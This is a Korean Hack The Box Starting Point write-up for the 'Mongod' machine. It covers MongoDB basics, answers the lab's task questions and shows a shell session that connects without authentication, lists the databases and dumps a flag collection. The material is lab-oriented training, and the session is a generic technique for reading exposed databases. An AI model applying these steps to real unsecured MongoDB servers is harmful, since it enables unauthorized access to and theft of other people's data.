본문 바로가기
CTF/HTB

Mongod

 

1. Target Overview (머신 요약)

  • Target Name: Mongod
  • OS: Linux
  • Difficulty: Tier 0 (Starting Point)
  • Vulnerability: Unauthenticated Database Access (비인가 데이터베이스 접근 허용)
  • Attack Vector: MongoDB Misconfiguration (인증 정책 누락 및 외부 네트워크 바인딩 노출)

2. 핵심 개념 총정리

① NoSQL 및 Document-Oriented 데이터베이스

  • 고정된 스키마(Table, Row, Column)를 사용하는 전통적인 SQL 데이터베이스와 달리, 유연한 JSON(내부적으로는 BSON) 형식의 문서(Document)를 컬렉션(Collection) 형태로 저장하는 데이터베이스 아키텍처
  • 데이터 구조 변경이 쉽고 수평적 확장이 용이하여 빅데이터 처리 및 실시간 분석 등 현대 웹 애플리케이션 백엔드 표준으로 자리 잡고 있습니다.

 

② MongoDB 서비스 포트 및 인증 아키텍처

  • MongoDB 데몬(mongod)은 기본적으로 27017/tcp 포트를 사용하여 클라이언트 연결을 수신
  • 초기 설치 시 기본적으로 인증 기능이 비활성화(Disabled)되어 있음
  • 관리자가 별도의 접근 통제(Access Control)를 구성하지 않고 외부망에 포트를 노출할 경우 누구나 최고 관리자 권한으로 DB 덤프(Dump) 및 랜섬웨어 공격을 수행할 수 있는 치명적인 위협이 발생

 

③ 몽고 쉘 (Mongo Shell)

  • mongodb-clients 패키지를 통해 제공되는 CLI 도구
  • MongoDB 서버와 상호작용할 수 있는 인터랙티브한 JavaScript 인터페이스
  • 이를 통해 데이터베이스에 질의(Query)를 수행하거나 데이터를 삽입, 수정, 삭제할 수 있

[Task 1] How many TCP ports are open on the machine?

  • 정답: 2
  • 분석: Nmap 스캐닝을 통해 타겟 인프라에서 SSH(22/tcp)와 데이터베이스 데몬(27017/tcp) 등 총 2개의 통신 포트가 활성화되어 있음을 확인

[Task 2] Which service is running on port 27017 of the remote host?

  • 정답: mongodb
  • 분석: nmap -sV 옵션을 통한 서비스 버전 핑거프린팅 결과, 27017 포트에서 구동 중인 서비스 데몬이 MongoDB임을 식별

[Task 3] What type of database is MongoDB? (Choose: SQL or NoSQL)

  • 정답: NoSQL
  • 분석: 관계형 데이터베이스가 아닌, 비관계형 데이터베이스(Not only SQL) 시스템임을 의미

[Task 4] What command is used to launch the interactive MongoDB shell from the terminal?

  • 정답: mongosh
  • 분석: 터미널 환경에서 대상 MongoDB 인스턴스에 원격으로 접속하여 대화형 셸(Interactive Shell)을 실행하기 위해 호출하는 CLI 명령어

[Task 5] What is the command used for listing all the databases present on the MongoDB server? (No need to include a trailing ;)

  • 정답: show dbs
  • 분석: 타겟 DB 서버에 접속한 후, 현재 인스턴스에 존재하는 전체 논리적 데이터베이스 목록을 열거하는 명령어

[Task 6] What is the command used for listing out the collections in a database? (No need to include a trailing ;)

  • 정답: show collections
  • 분석: 특정 데이터베이스 공간에 진입한 후, 내부에 존재하는 테이블 형태의 구조인 '컬렉션(Collections)' 목록을 출력하는 명령어입니다.

[Task 7] What command is used to dump the content of all the documents within the collection named flag?

  • 정답: db.flag.find()
  • 분석: flag 컬렉션 내부에 저장된 모든 도큐먼트 객체를 검색(find())하고 화면에 덤프(Dump)하여 데이터를 추출하는 쿼리 명령어

[Root Flag] 시스템 침투 및 플래그 추출

  • 분석:
    • mongo 클라이언트를 통해 대상 서버에 인증 절차 없이 접속(Anonymous Connection)을 획득
    • 이후 정보 수집을 통해 sensitive_information DB를 식별
    • 내부의 flag 컬렉션에 쿼리를 전송하여 중요 데이터를 탈취
# 타겟 MongoDB 서버 접속
mongo --host [Target IP]

# 데이터베이스 열거
> show dbs
admin                   0.000GB
config                  0.000GB
local                   0.000GB
sensitive_information   0.000GB
users                   0.000GB

# 타겟 데이터베이스 진입
> use sensitive_information
switched to db sensitive_information

# 컬렉션 열거
> show collections
flag

# 데이터 탈취 (가독성 높은 형태로 덤프)
> db.flag.find().pretty()
 

 

 

'CTF > HTB' 카테고리의 다른 글

Appointment  (1) 2026.04.06
Synced  (0) 2026.04.06
Preignition  (0) 2026.04.06
Explosion  (0) 2026.04.06
Redeemer  (0) 2026.04.06

Discussion 0